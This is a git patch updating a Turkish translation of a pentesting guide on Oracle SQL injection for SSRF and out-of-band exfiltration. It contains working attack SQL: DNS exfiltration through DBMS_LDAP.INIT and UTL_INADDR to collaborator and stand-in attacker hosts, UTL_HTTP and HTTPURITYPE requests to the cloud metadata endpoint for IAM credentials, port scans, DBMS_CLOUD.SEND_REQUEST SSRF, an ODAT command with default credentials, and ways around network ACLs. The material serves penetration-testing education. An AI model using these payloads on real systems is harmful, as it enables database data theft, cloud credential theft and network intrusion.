From ef8238fb37e55ed887233774ad6da2b95a7a321d Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 20 Aug 2025 00:35:56 +0000 Subject: [PATCH] Translated ['src/pentesting-web/sql-injection/oracle-injection.md'] to t --- .../sql-injection/oracle-injection.md | 111 +++++++++++++++--- 1 file changed, 97 insertions(+), 14 deletions(-) diff --git a/src/pentesting-web/sql-injection/oracle-injection.md b/src/pentesting-web/sql-injection/oracle-injection.md index 2c2686a1a..f75bb70c1 100644 --- a/src/pentesting-web/sql-injection/oracle-injection.md +++ b/src/pentesting-web/sql-injection/oracle-injection.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -**Bu gönderiyi [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) adresindeki silinmiş gönderinin wayback makinesi kopyasıyla sunun.** +**Bu gönderiyi [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) adresindeki silinmiş gönderinin wayback machine kopyasıyla sunun.** ## SSRF -Oracle kullanarak Out of Band HTTP ve DNS istekleri yapmak iyi belgelenmiştir, ancak bu, enjeksiyonlarda SQL verilerini dışarı sızdırmanın bir yolu olarak kullanılır. Bu teknikleri/fonksiyonları her zaman diğer SSRF/XSPA'ları yapmak için değiştirebiliriz. +Oracle kullanarak Out of Band HTTP ve DNS istekleri yapmak iyi belgelenmiştir, ancak bu, enjeksiyonlarda SQL verilerini dışarı sızdırmak için bir yöntemdir. Bu teknikleri/fonksiyonları her zaman diğer SSRF/XSPA'ları yapmak için değiştirebiliriz. -Oracle kurmak gerçekten acı verici olabilir, özellikle de komutları denemek için hızlı bir örnek kurmak istiyorsanız. Arkadaşım ve [Appsecco](https://appsecco.com) ile iş arkadaşım [Abhisek Datta](https://github.com/abhisek), t2.large AWS Ubuntu makinesinde ve Docker ile bir örnek kurmamı sağlayan [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) adresini bana gösterdi. +Oracle'ı kurmak gerçekten acı verici olabilir, özellikle de komutları denemek için hızlı bir örnek kurmak istiyorsanız. [Appsecco](https://appsecco.com) şirketindeki arkadaşım ve meslektaşım [Abhisek Datta](https://github.com/abhisek), bana bir t2.large AWS Ubuntu makinesinde ve Docker'da bir örnek kurmamı sağlayan [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) adresini gösterdi. -Docker komutunu `--network="host"` bayrağı ile çalıştırdım, böylece bu blog yazısının süresince Oracle'ı tam ağ erişimi ile yerel bir kurulum olarak taklit edebildim. +Bu blog yazısının süresince Oracle'ı tam ağ erişimi ile yerel bir kurulum olarak taklit edebilmek için `--network="host"` bayrağı ile docker komutunu çalıştırdım. ``` docker run -d --network="host" quay.io/maksymbilenko/oracle-12c ``` @@ -37,19 +37,19 @@ Arama aşağıdaki sonuçları döndürdü (hepsi dışa ağ bağlantısı gerç - DBMS_STREAMS_ADM - UTL_HTTP -Bu kaba arama açıkça `DBMS_LDAP` gibi paketleri atlıyor (bir ana bilgisayar adı ve port numarası geçişine izin verir) çünkü [belgelendirme sayfası](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) sizi [farklı bir konuma](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) yönlendiriyor. Bu nedenle, dışa istekler yapmak için kötüye kullanılabilecek başka Oracle paketleri de olabilir, bunları atlamış olabilirim. +Bu kaba arama, `DBMS_LDAP` gibi paketleri açıkça atlıyor (bir ana bilgisayar adı ve port numarası geçişine izin verir) çünkü [belgelendirme sayfası](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) sizi [farklı bir konuma](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) yönlendiriyor. Bu nedenle, dışa istekler yapmak için kötüye kullanılabilecek başka Oracle paketleri de olabilir, bunları atlamış olabilirim. Her durumda, keşfettiğimiz ve yukarıda listelediğimiz bazı paketlere bir göz atalım. **DBMS_LDAP.INIT** -`DBMS_LDAP` paketi, LDAP sunucularından veri erişimine izin verir. `init()` fonksiyonu, bir LDAP sunucusuyla bir oturum başlatır ve bir ana bilgisayar adı ve port numarasını argüman olarak alır. +`DBMS_LDAP` paketi, LDAP sunucularından veri erişimine olanak tanır. `init()` fonksiyonu, bir LDAP sunucusuyla bir oturum başlatır ve bir ana bilgisayar adı ve port numarasını argüman olarak alır. -Bu fonksiyon, aşağıdaki gibi DNS üzerinden veri sızdırma gösteren belgelenmiştir. +Bu fonksiyon, aşağıdaki gibi DNS üzerinden veri sızdırma gösterimi için daha önce belgelenmiştir. ``` SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual; ``` -Ancak, fonksiyonun bir ana bilgisayar adı ve bir port numarasını argüman olarak kabul ettiğini göz önünde bulundurursak, bunu bir port tarayıcı gibi çalıştırmak için de kullanabilirsiniz. +Ancak, fonksiyonun bir ana bilgisayar adı ve bir port numarasını argüman olarak kabul ettiğini göz önünde bulundurursak, bunu bir port tarayıcı gibi çalışmak için de kullanabilirsiniz. İşte birkaç örnek ``` @@ -58,7 +58,7 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual; ``` -`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` hatası, bir oturum değerinin portun açık olduğunu göstermesine rağmen portun kapalı olduğunu gösterir. +`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` hatası, portun kapalı olduğunu gösterirken, bir oturum değeri portun açık olduğunu işaret ediyor. **UTL_SMTP** @@ -84,7 +84,7 @@ END; `UTL_TCP` paketi ve prosedürleri ile fonksiyonları, [hizmetlerle TCP/IP tabanlı iletişim](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190) sağlar. Belirli bir hizmet için programlandığında, bu paket ağa giriş yapmak veya tüm Sunucu Tarafı İsteklerini gerçekleştirmek için kolayca bir yol haline gelebilir, çünkü bir TCP/IP bağlantısının tüm yönleri kontrol edilebilir. -Oracle dokümantasyon sitesindeki [örnek, bu paketi kullanarak bir web sayfasını almak için ham bir TCP bağlantısı nasıl yapılacağını göstermektedir](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Bunu biraz daha basitleştirip, örneğin metadata örneğine veya keyfi bir TCP/IP hizmetine istek yapmak için kullanabiliriz. +Oracle dokümantasyon sitesindeki [örnek, bu paketi kullanarak bir web sayfasını almak için ham bir TCP bağlantısı nasıl yapabileceğinizi gösterir](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Bunu biraz daha basitleştirip, örneğin metadata örneğine veya keyfi bir TCP/IP hizmetine istek yapmak için kullanabiliriz. ``` set serveroutput on size 30000; SET SERVEROUTPUT ON @@ -128,18 +128,101 @@ END; **UTL_HTTP ve Web İstekleri** -Belki de her Out of Band Oracle SQL Injection eğitiminde en yaygın ve en çok belgelenmiş teknik [`UTL_HTTP` paketi](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070) dir. Bu paket, belgelerde şu şekilde tanımlanmıştır - `UTL_HTTP paketi, SQL ve PL/SQL'den Hypertext Transfer Protocol (HTTP) çağrıları yapar. HTTP üzerinden İnternetteki verilere erişmek için kullanabilirsiniz.` +Belki de her Out of Band Oracle SQL Injection eğitiminde en yaygın ve en çok belgelenmiş teknik [`UTL_HTTP` paketi](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070) dir. Bu paket, belgelerde şu şekilde tanımlanmıştır - `UTL_HTTP paketi, SQL ve PL/SQL'den Hypertext Transfer Protocol (HTTP) çağrıları yapar. HTTP üzerinden İnternetteki verilere erişmek için kullanılabilir.` ``` select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual; ``` -Ayrıca, bunu şu tür sorgularla bazı temel port taramaları gerçekleştirmek için de kullanabilirsiniz: +Ayrıca, bunu şu tür sorgularla bazı temel port taramaları gerçekleştirmek için de kullanabilirsiniz. ``` select UTL_HTTP.request('http://scanme.nmap.org:22') from dual; select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual; select UTL_HTTP.request('http://scanme.nmap.org:25') from dual; ``` -`ORA-12541: TNS:no listener` veya `TNS:operation timed out` hatası, TCP portunun kapalı olduğunu gösterirken, `ORA-29263: HTTP protocol error` veya veri, portun açık olduğunu gösterir. +`ORA-12541: TNS:no listener` veya `TNS:operation timed out` hatası, TCP portunun kapalı olduğunun bir işaretiyken, `ORA-29263: HTTP protocol error` veya veri, portun açık olduğunun bir işareti. -Geçmişte çeşitli başarılarla kullandığım başka bir paket, bir URL ile etkileşimde bulunmanıza ve HTTP protokolünü desteklemenize olanak tanıyan [`HTTPURITYPE` Oracle soyut türünün `GETCLOB()` yöntemi](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705)'dir. `GETCLOB()` yöntemi, bir URL'den GET yanıtını [CLOB veri türü olarak](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) almak için kullanılır. [select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual; +Geçmişte çeşitli başarılarla kullandığım başka bir paket, bir URL ile etkileşimde bulunmanıza ve HTTP protokolünü desteklemenize olanak tanıyan [`HTTPURITYPE` Oracle soyut türünün `GETCLOB()` yöntemi](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705)'dir. `GETCLOB()` yöntemi, bir URL'den GET yanıtını [CLOB veri türü olarak](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) almak için kullanılır. +``` +SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual; +``` +--- + +## Ek Paketler ve Teknikler (Oracle 19c → 23c) + +### UTL_INADDR – DNS tabanlı dışa aktarma ve host keşfi + +`UTL_INADDR`, veritabanı sunucusundan dışa doğru bir DNS sorgusu tetikleyen basit ad çözümleme yardımcılarını açığa çıkarır. Sadece bir alan adı gerektiğinden (port/ACL gerekmez) diğer ağ çağrıları engellendiğinde kör dışa aktarma için güvenilir bir ilkelidir. +```sql +-- Leak the DB name and current user via a DNS query handled by Burp Collaborator +SELECT UTL_INADDR.get_host_address( +(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)|| +'.attacker.oob.server') FROM dual; +``` +`get_host_address()` çözümlenen IP'yi döndürür (veya çözümleme başarısız olursa `ORA-29257` hatası verir). Saldırgan, kodun çalıştığını doğrulamak için kontrol edilen alandaki gelen DNS isteğini izlemek zorundadır. + +### DBMS_CLOUD.SEND_REQUEST – Otonom/23c üzerinde tam HTTP istemcisi + +Son zamanlarda bulut merkezli sürümler (Otonom Veritabanı, 21c/23c, 23ai) `DBMS_CLOUD` ile birlikte gelir. `SEND_REQUEST` fonksiyonu, özel fiiller, başlıklar, TLS ve büyük gövdeleri destekleyen genel amaçlı bir HTTP istemcisi olarak işlev görür ve bu da onu klasik `UTL_HTTP`'den çok daha güçlü hale getirir. +```sql +-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges +BEGIN +-- empty credential when no auth is required +DBMS_CLOUD.create_credential( +credential_name => 'NOAUTH', +username => 'ignored', +password => 'ignored'); +END; +/ + +DECLARE +resp DBMS_CLOUD_TYPES.resp; +BEGIN +resp := DBMS_CLOUD.send_request( +credential_name => 'NOAUTH', +uri => 'http://169.254.169.254/latest/meta-data/', +method => 'GET', +timeout => 3); +dbms_output.put_line(DBMS_CLOUD.get_response_text(resp)); +END; +/ +``` +Çünkü `SEND_REQUEST` rastgele hedef URI'lerine izin veriyor, SQLi aracılığıyla kötüye kullanılabilir: +1. Dahili port taraması / SSRF bulut meta veri hizmetlerine. +2. HTTPS üzerinden dışarıdan veri sızdırma (Burp Collaborator veya bir `ngrok` tüneli kullanın). +3. Eski çağrı paketleri ACL'ler tarafından devre dışı bırakıldığında bile saldırgan sunuculara geri çağırmalar. + +ℹ️ Eğer sadece klasik bir yerel 19c'ye sahipseniz ama Java saklı prosedürleri oluşturabiliyorsanız, bazen OCI istemci paketi üzerinden `DBMS_CLOUD` yükleyebilirsiniz — bazı angajmanlarda faydalıdır. + +### **ODAT** ile saldırı yüzeyini otomatikleştirme + +[ODAT – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) modern sürümlerle uyumlu kalmıştır (19c, 5.1.1 – Nisan-2022'ye kadar test edilmiştir). `–utl_http`, `–utl_tcp`, `–httpuritype` ve daha yeni `–dbms_cloud` modülleri otomatik olarak: +* Kullanılabilir çağrı paketlerini/ACL izinlerini tespit eder. +* Kör çıkarım için DNS ve HTTP geri çağırmalarını tetikler. +* Burp/SQLMap için kopyalamaya hazır SQL yükleri oluşturur. + +Örnek: varsayılan kimlik bilgileri ile hızlı OOB kontrolü (arka planda ACL numaralandırmasını halleder): +```bash +odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob +``` +### Son ağ ACL kısıtlamaları ve atlatmalar + +Oracle, Temmuz 2023 CPU'sunda varsayılan Ağ ACL'lerini sıkılaştırdı — yetkisiz hesaplar artık varsayılan olarak `ORA-24247: network access denied by access control list` alıyor. İki desen, SQLi aracılığıyla çağrılara izin vermeye devam ediyor: +1. Hedef hesap, bir geliştirici tarafından entegrasyonlar için eklenen bir ACL girişine (`DBMS_NETWORK_ACL_ADMIN.create_acl`) sahiptir. +2. Saldırgan, *zaten* `AUTHID DEFINER` ve gerekli yetkilere sahip olan yüksek ayrıcalıklı bir PL/SQL tanımlayıcı hakları rutinini (örneğin, özel bir uygulamada) kötüye kullanır. + +Sömürü sırasında `ORA-24247` ile karşılaşırsanız, her zaman yeniden kullanılabilir prosedürler arayın: +```sql +SELECT owner, object_name +FROM dba_objects +WHERE object_type = 'PROCEDURE' +AND authid = 'DEFINER'; +``` +(müfettişliklerde en az bir raporlama/ihracat prosedürü gerekli haklara sahipti). + +--- + +## Referanslar + +* Oracle Belgeleri – `DBMS_CLOUD.SEND_REQUEST` paketi tanımı ve örnekleri. +* quentinhardy/odat – Oracle Veritabanı Saldırı Aracı (son sürüm 5.1.1, Nis-2022). {{#include ../../banners/hacktricks-training.md}}